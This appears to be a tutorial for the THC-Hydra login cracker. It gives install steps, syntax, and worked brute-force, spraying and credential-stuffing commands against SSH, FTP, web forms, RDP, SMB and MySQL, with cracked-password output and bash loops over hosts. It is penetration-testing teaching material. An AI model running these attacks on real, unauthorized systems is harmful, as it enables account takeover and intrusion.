hydra: Parallelized network login cracker

THC-Hydra (commonly just “Hydra”) is one of the oldest and most widely used parallelized network login cracker. It was originally released by van Hauser of The Hacker’s Choice (THC) and is designed to perform rapid, multi-threaded brute-force and dictionary attacks against a huge range of network protocols and services.

Hydra’s core strength is protocol coverage — it ships with modules for more than 50 protocols, including SSH, FTP, Telnet, HTTP/HTTPS (GET, POST, and form-based auth), SMB, RDP, VNC, MySQL, MSSQL, PostgreSQL, Oracle, SNMP, SMTP, POP3, IMAP, LDAP, Cisco, Teamspeak, XMPP, and many more. It is pre-installed on Kali Linux and is typically the first tool a penetration tester reaches for when they need to test credentials against a running service.

Hydra supports single-username, username-list, single-password, and password-list attacks, as well as combined “login:password” pair lists, making it flexible enough for brute-force, dictionary, and credential-stuffing/spraying attacks alike.

Key Features

• Over 50 supported protocol modules
• Multi-threaded (parallel) connections for speed
• Supports both CLI and a GTK graphical front-end (hydra-gtk / xhydra)
• Resume support for interrupted scans (-R)
• Proxy support (HTTP/SOCKS) for anonymization or pivoting
• Colorized output (-C/verbose modes) and progress reporting

Installation

Hydra is included by default on Kali Linux. If it is missing or you want to update it:

sudo apt update
sudo apt install hydra hydra-gtk -y

Verify the installation:

hydra -h

To build the latest version from source (useful for the newest protocol modules):

git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra
sudo apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev \
  libgtk2.0-dev libmariadb-dev-compat firebird-dev libmemcached-dev \
  libgpg-error-dev libgcrypt20-dev libgcrypt20-dev -y
./configure
make
sudo make install

Syntax

General command form:

hydra [options] [-l LOGIN|-L LOGINFILE] [-p PASS|-P PASSFILE] target service [service-options]

Or using a URL-style target specification:

hydra [options] service://target[:port][/optional-parameters]

Command-Line Options

Basic Usage

Simplest possible SSH brute-force attempt against a single target with one username and a password list:

hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10

Expected output:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-19 10:02:11
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.1.10:22/
[STATUS] 743.00 tries/min, 743 tries in 00:01h, 14343656 to do in 321:36h, 16 active
[22][ssh] host: 192.168.1.10   login: admin   password: summer2023
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-19 10:03:47

Practical Examples

Example 1 — SSH brute-force with a username list and password list

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -t 4 ssh://10.10.10.5

[DATA] max 4 tasks per 1 server, overall 4 tasks, 42992 login tries
[22][ssh] host: 10.10.10.5   login: sysadmin   password: letmein123
1 of 1 target successfully completed, 1 valid password found

Example 2 — FTP with single login and stop on first success

hydra -l ftpuser -P passwords.txt -f ftp://10.10.10.20

[21][ftp] host: 10.10.10.20   login: ftpuser   password: welcome1
1 of 1 target successfully completed, 1 valid password found

Example 3 — HTTP POST form login brute-force

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.30 http-post-form \
  "/login.php:username=^USER^&password=^PASS^:Invalid credentials"

[DATA] attacking http-post-form://10.10.10.30:80/login.php
[80][http-post-form] host: 10.10.10.30   login: admin   password: P@ssw0rd!

Example 4 — RDP password spraying with a combo file

hydra -C rdp_combos.txt rdp://10.10.10.40

[3389][rdp] host: 10.10.10.40   login: helpdesk   password: Welcome2024

Example 5 — SMB credential check across a subnet using -M

hydra -L users.txt -P passwords.txt -M targets.txt -o smb_results.txt smb

[445][smb] host: 10.10.10.51   login: backupsvc   password: Backup#1
[445][smb] host: 10.10.10.62   login: printsvc    password: Printer2020
2 targets successfully completed, 2 valid passwords found

Example 6 — MySQL with generated brute-force passwords (-x)

hydra -l root -x 4:6:a1 mysql://10.10.10.70

[3306][mysql] host: 10.10.10.70   login: root   password: a1b2c

Example 7 — Verbose mode to watch every attempt live

hydra -l admin -P small_list.txt -V ssh://10.10.10.5

[ATTEMPT] target 10.10.10.5 - login "admin" - pass "123456" - 1 of 12
[ATTEMPT] target 10.10.10.5 - login "admin" - pass "password" - 2 of 12
[ATTEMPT] target 10.10.10.5 - login "admin" - pass "admin123" - 3 of 12
[22][ssh] host: 10.10.10.5   login: admin   password: admin123

Example 8 — Resuming a crashed/interrupted session

hydra -R

[INFO] Restoring old session from ./hydra.restore
[DATA] resuming previous run at attempt 118432 of 14344399

Common Use Cases

• Testing SSH/RDP/FTP servers for default or weak credentials during an internal or external pentest
• Validating password policy enforcement (does the target lock out after N failed attempts?)
• Attacking self-hosted web application login forms (http-post-form / http-get-form)
• Credential stuffing with breached login:pass combo lists against exposed services
• Verifying that a discovered password is reused across multiple services (SSH, FTP, SMB, etc.)

Automation with Bash

Loop Hydra over multiple services discovered by an Nmap scan:

#!/bin/bash
# hydra-multiservice.sh - brute-force every open service found by nmap
TARGET="10.10.10.5"
USERLIST="users.txt"
PASSLIST="/usr/share/wordlists/rockyou.txt"

for svc in ssh ftp telnet; do
  echo "[*] Attacking $svc on $TARGET"
  hydra -L "$USERLIST" -P "$PASSLIST" -t 4 -o "results_${svc}.txt" "$svc://$TARGET"
done

echo "[*] Done. Results saved as results_<service>.txt"

Automatically parse hosts from a targets.txt file and attack each with SSH:

#!/bin/bash
while read -r host; do
  hydra -l admin -P passwords.txt -f "ssh://$host" -o "found_${host}.txt"
done < targets.txt

Tips and Best Practices

• Always start with a small, curated password list (top 100/500) before firing off rockyou.txt — most weak credentials are found in the first few thousand attempts.
• Reduce -t (threads) against sensitive or lockout-prone targets (e.g., Active Directory) to avoid triggering account lockout policies — 1–4 threads with -c delay is safer for AD.
• Use -e nsr to automatically test blank passwords, username-as-password, and reversed-username-as-password — these catch a surprising number of accounts.
• Save output with -o (and -b json for machine-parsing) so results integrate cleanly into reporting or other tools.
• Use -M with a target list plus -F to stop as soon as any target yields valid credentials, useful for large subnet sprays.
• For HTTP form attacks, always confirm the exact failure string (e.g., “Invalid credentials”) by testing a wrong login manually first — an incorrect failure string will cause 100% false positives or false negatives.

Troubleshooting

References

• Official repository: https://github.com/vanhauser-thc/thc-hydra
• Kali Linux tool page: https://www.kali.org/tools/hydra/
• Man page: man hydra
• THC (The Hacker’s Choice): https://www.thc.org/